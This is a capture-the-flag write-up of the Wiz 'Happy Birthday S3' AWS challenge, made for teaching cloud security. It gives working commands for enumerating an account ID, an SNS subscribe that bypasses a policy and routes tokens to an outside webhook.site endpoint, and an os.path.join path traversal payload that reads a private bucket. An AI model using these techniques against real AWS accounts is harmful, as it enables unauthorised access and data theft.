Happy Birthday S3 CTF: Multi-Service AWS Exploitation Chain
Challenge Brief
To celebrate Amazon S3's 20th birthday, the Wiz Cloud Security Championship presented a serverless AWS application — a birthday party invitation website. Players were given a CTF box with AWS credentials and a downloadable ZIP of Lambda source code and IAM/SNS policies.
Hint 1: The invitation form only accepts company emails. But does it really validate what you submit?
Hint 2: Look closely at everything the server sends back. There's useful metadata in the response.
Hint 3: API Gateways validate requests. Lambda functions don't always do the same.
We're given a CTF box with AWS CLI credentials, an assumable IAM role, and a ZIP containing Lambda source code and IAM/SNS policies. The target is a birthday party invitation site at happybirthday.cloudsecuritychampionship.com.
Architecture
The application consisted of five AWS services working together:
| Service | Role |
|---|---|
| CloudFront | Static frontend at happybirthday.cloudsecuritychampionship.com |
| API Gateway (x2) | [APIGW-1] (with schema validation) and [APIGW-2] (no validation) |
| Lambda | GenerateBirthdayCard — handles email generation and card registration |
| SNS | Topic BirthdayPartyInvites — publishes invitation tokens |
| S3 (x2) | wiz-birthday-s3-party (public, hosts site + cards) and happy-birthday-private (templates + flag) |
CTF Box Environment
The CTF box provided AWS credentials and a role configuration:
# ~/.aws/credentials
[default]
aws_access_key_id = AKIA********************
aws_secret_access_key = ****************************************
# ~/.aws/config
[profile role]
role_arn = arn:aws:iam:::role/user-role # NOTE: account ID is MISSING
source_profile = default
Two identities were available:
- Base user:
arn:aws:iam::[CTF-USER-ACCT]:user/user - Assumable role:
arn:aws:iam::[CTF-USER-ACCT]:role/user-role(account ID had to be inferred)
Phase 1: Account ID Discovery with s3recon
This was the critical breakthrough. Early investigation had extracted [WRONG-ACCT] from SNS error messages — but this was the wrong account. Every attempt using this account ID failed for over a week across 7 sessions.
The real technique: using s3recon to brute-force the bucket owner's account ID via the s3:ResourceAccount IAM condition key with wildcard matching. This reduces a 12-digit brute force from 1012 to just 120 requests:
$ python3 -m s3recon.cli \
--role arn:aws:iam::[CTF-USER-ACCT]:role/user-role \
--bucket wiz-birthday-s3-party/index.html
Account ID: [TARGET-ACCT]
How s3recon Works
It assumes your role with an inline session policy restricting s3:ResourceAccount to a wildcard like 3*, 37*, 370*, etc. If the request succeeds, that digit is correct.
Phase 2: SNS Subscription via HTTPS Bypass
The SNS topic policy used a StringLike condition that only checks the endpoint string ends with @cloudsecuritychampionship.com:
"Condition": {
"StringLike": {
"sns:Endpoint": "*@cloudsecuritychampionship.com"
}
}
By appending a query parameter, a webhook.site URL satisfies the condition while routing to a controlled endpoint:
# Use BASE USER credentials (not the role!)
# The role's identity policy blocks sns:Subscribe,
# but the base user succeeds when the resource policy permits
$ unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
$ aws sns subscribe \
--topic-arn "arn:aws:sns:us-east-1:[TARGET-ACCT]:BirthdayPartyInvites" \
--protocol https \
--notification-endpoint "https://webhook.site/${WEBHOOK_UUID}?x=@cloudsecuritychampionship.com" \
--region us-east-1
{"SubscriptionArn": "pending confirmation"}
Reading the Error Messages
The error messages told us exactly what was happening at each step:
- Against
[WRONG-ACCT]: "no resource-based policy allows" — wrong account, topic doesn't exist here - Role against
[TARGET-ACCT]: "no identity-based policy allows" — right account, but role lacks permission - Base user against
[TARGET-ACCT]: Success — resource policy accepts, identity policy permits
Phase 3: Token Capture
After confirming the SNS subscription via the webhook URL, triggering token generation was straightforward:
$ curl -s -X POST \
https://[APIGW-1].execute-api.us-east-1.amazonaws.com/prod/generate \
-H "Content-Type: application/json" \
-d '{"email":"test@cloudsecuritychampionship.com"}'
The token arrived at the webhook as an SNS Notification:
{
"token": "[REDACTED-TOKEN]",
"registration_url": "https://happybirthday.cloudsecuritychampionship.com/register.html?token=...",
"generated_by": "GenerateBirthdayCard"
}
Phase 4: Path Traversal via os.path.join()
The Lambda's _read_template() function constructs the S3 key like this:
key = os.path.join("templates", f"{template}.txt")
When template starts with /, Python's os.path.join() discards the first argument entirely:
os.path.join("templates", "birthday.txt")→templates/birthday.txtos.path.join("templates", "/flag.txt")→/flag.txt
The Lambda only checks for .. in the path — absolute paths bypass the filter entirely. Using the [APIGW-2] API Gateway (no schema validation — Hint 3):
$ curl -s -X POST \
https://[APIGW-2].execute-api.us-east-1.amazonaws.com/prod/register \
-d '{"token":"[REDACTED-TOKEN]","template":"/flag","name":"mark"}'
{
"status": "success",
"message": "Registration complete! Here is your birthday card.",
"card_url": "https://wiz-birthday-s3-party.s3.amazonaws.com/cards/[REDACTED-UUID].html"
}
Phase 5: Flag Retrieval
$ curl -s "https://wiz-birthday-s3-party.s3.amazonaws.com/cards/[REDACTED-UUID].html"
The flag was rendered inside the birthday card HTML, read from happy-birthday-private/flag.txt via the path traversal.
Flag
WIZ_CTF{REDACTED}
Complete Attack Chain
s3recon: Brute-force bucket owner account ID ([TARGET-ACCT])
|
v
SNS Subscribe: HTTPS + query param bypass on StringLike condition
|
v
Confirm subscription via webhook.site, trigger /generate endpoint
|
v
Receive invitation token via SNS notification to webhook
|
v
API Gateway bypass: Use [APIGW-2] (no schema validation)
|
v
os.path.join() path traversal: template="/flag" reads from private bucket
|
v
Flag rendered in birthday card HTML
What Didn't Work (And Why)
Wrong Account ID (Sessions 1–7)
We extracted [WRONG-ACCT] from SNS AuthorizationError messages and spent over a week targeting it. Every Lambda invoke, SNS subscribe, and S3 access attempt failed. The real infrastructure was in [TARGET-ACCT], only discoverable via s3:ResourceAccount enumeration.
Email Delivery Attempts (Sessions 1–3)
Significant time was spent trying to receive SNS email subscriptions: cloudsecuritychampionship.com has no MX records, all SMTP ports on the CTF box were firewalled, and percent-encoding tricks in email addresses were treated as literal addresses by SNS. The HTTPS protocol with query param bypass was the intended path.
Lambda Direct Invocation (Sessions 1–6)
The resource policy showed Principal: "*" for lambda:InvokeFunction, but every attempt returned AccessDeniedException because we were targeting the wrong account. Lambda errors don't distinguish "function doesn't exist" from "policy denies you" — no existence oracle.
Token Brute Force / Forgery
HMAC validation is cryptographically sound. Without TOKEN_SECRET, token forgery is infeasible. The future-timestamp TTL bypass (negative result from time.time() - ts > 3600) was interesting but still required a valid HMAC.
Lessons Learned
- Account IDs matter more than you think. The entire challenge hinged on discovering the correct AWS account ID. All attacks were correctly designed but targeted the wrong account for a week.
s3:ResourceAccountis a powerful enumeration primitive. Any S3 action can be used as an oracle to brute-force the owning account ID, reducing 1012 possibilities to 120 requests.- Read the error messages carefully. The difference between "no identity-based policy" and "no resource-based policy" told us exactly what was wrong — we just needed to listen.
StringLikewildcards in SNS policies don't validate semantics. A URL with?x=@domain.compasses*@domain.comeven though it's not an email.os.path.join()with absolute paths is a classic vulnerability. When the second argument starts with/, all previous path components are discarded. Checking only for..is insufficient.- The base user can sometimes do things the escalated role cannot. Different identity policies grant different permissions — don't assume escalation always helps.
- Two API Gateways can front the same Lambda with different validation. The
[APIGW-2]endpoint had no schema validation, allowing arbitrary JSON to reach the Lambda directly.
Tools Used
| Tool | Purpose |
|---|---|
| s3recon | AWS account ID discovery via s3:ResourceAccount wildcard brute-force |
| webhook.site | HTTPS endpoint for SNS subscription confirmation and token delivery |
| AWS CLI v2 | IAM role assumption, SNS subscribe, S3 operations |
| curl / jq | API Gateway requests and JSON parsing |
Timeline
| Session | Date | Activity | Outcome |
|---|---|---|---|
| 1 | Mar 30 | Source code analysis, vulnerability mapping | Identified all 5 vulns, started targeting wrong account |
| 2 | Apr 2 | Email bypass attempts, percent-encoding | Found validation bypass, couldn't receive email |
| 3 | Apr 5–6 | Protocol injection, Content-Type bypass | Confirmed API GW schema bypass on [APIGW-2] |
| 4 | Apr 7 | Discovered ~/.aws/config, assumed user-role | Found role but still wrong account for SNS |
| 5–7 | Apr 8–12 | Credential enumeration, systematic testing | Exhaustive permission testing, all cross-account denied |
| 8 | Apr 13 | Reviewed s3recon approach | Strategy pivot to account ID enumeration |
| 9 | Apr 13 | Ran s3recon, discovered [TARGET-ACCT] | SNS subscribe succeeded, token received, flag captured |
Conclusion
The "Happy Birthday S3" challenge was a masterclass in multi-service AWS exploitation, chaining five vulnerabilities across four services. What made it particularly challenging was the account ID misdirection — error messages leaked an account ID that wasn't the one hosting the infrastructure. The intended solve required knowledge of the relatively obscure s3:ResourceAccount IAM condition key enumeration technique, which the organizers rightfully labeled "AI resistant."
The technical depth was impressive: from the subtle StringLike wildcard bypass in SNS policies, to the dual API Gateway configuration with different validation rules, to the classic os.path.join() path traversal. Each step required understanding a different AWS service's security model and how they interact.
Challenge created by Nir Ohfeld and Scott Piper as part of the Wiz Cloud Security Championship. Writeup completed: April 2026